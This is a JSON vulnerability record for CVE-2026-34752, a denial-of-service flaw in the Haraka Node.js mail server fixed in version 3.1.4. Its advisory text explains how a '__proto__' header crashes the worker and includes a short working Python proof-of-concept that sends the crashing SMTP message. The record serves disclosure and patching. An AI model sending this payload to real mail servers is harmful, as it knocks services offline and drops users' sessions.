{"id":"CVE-2026-34752","aliases":["CVE-2026-34752","GHSA-xph3-r2jf-4vp3"],"related":[],"kind":"vulnerability","state":"published","title":"Haraka affected by DoS via `__proto__` email header","summary":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nSending an email with `__proto__:` as a header name crashes the Haraka worker process. \n\n### Details\n\nThe header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:\n\n```javascript\n_add_header(key, value, method) {\n    this.headers[key] ??= []          // line 216\n    this.headers[key][method](value)  // line 217\n}\n```\n\nWhen `key` is `__proto__`:\n1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)\n2. `Object.prototype` is not null/undefined, so `??=` is skipped\n3. `Object.prototype.push(value)` throws `TypeError: not a function`\n\nThe TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:\n\n```js\nprocess.on('uncaughtException', (err) => {\n    if (err.stack) {\n        err.stack.split('\\n').forEach((line) => logger.crit(line))\n    } else {\n        logger.crit(`Caught exception: ${JSON.stringify(err)}`)\n    }\n    logger.dump_and_exit(1)\n})\n```\n\n### PoC\n\n```python\nimport socket, time\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(5)\nsock.connect((\"127.0.0.1\", 2525))\nsock.recv(4096)\nsock.sendall(b\"EHLO evil\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"MAIL FROM:<x@x.com>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"RCPT TO:<user@haraka.local>\\r\\n\"); sock.recv(4096)\nsock.sendall(b\"DATA\\r\\n\"); sock.recv(4096)\n# Crash payload\nsock.sendall(b\"From: x@x.com\\r\\n__proto__: crash\\r\\n\\r\\nbody\\r\\n.\\r\\n\")\n```\n\n### Impact\n\nIn single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Haraka es un servidor de correo Node.js. Antes de la versión 3.1.4, enviar un correo electrónico con __proto__: como nombre de encabezado provoca la caída del proceso de trabajador de Haraka. Este problema ha sido parcheado en la versión 3.1.4.","source":"nvd"}],"published":"2026-04-01T22:56:09.000Z","modified":"2026-10-06T22:10:00.247Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-248"],"affected":[{"ranges":[{"version":"< 3.1.4","status":"affected"}],"vendor":"haraka","product":"Haraka","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.1.4"}],"ecosystem":"npm","package":"Haraka","purl":"pkg:npm/Haraka","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.1.4"}],"vendor":"haraka_project","product":"haraka","cpe":"cpe:2.3:a:haraka_project:haraka:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/haraka/Haraka/releases/tag/v3.1.4","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34752","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/haraka/Haraka","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-04-03T15:47:22.511Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34752","url":"https://www.cve.org/CVERecord?id=CVE-2026-34752","licence":"CVE Terms of Use","modified":"2026-04-03T15:47:34.494Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xph3-r2jf-4vp3","url":"https://github.com/advisories/GHSA-xph3-r2jf-4vp3","licence":"CC-BY-4.0","modified":"2026-04-06T17:56:38.130Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34752","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34752","licence":"Public domain","modified":"2026-10-06T22:10:00.247Z"}],"updatedAt":"2026-11-25T22:59:17.841Z","epss":{"score":0.00476,"percentile":0.42763,"date":"2026-12-01T12:00:22.000Z"}}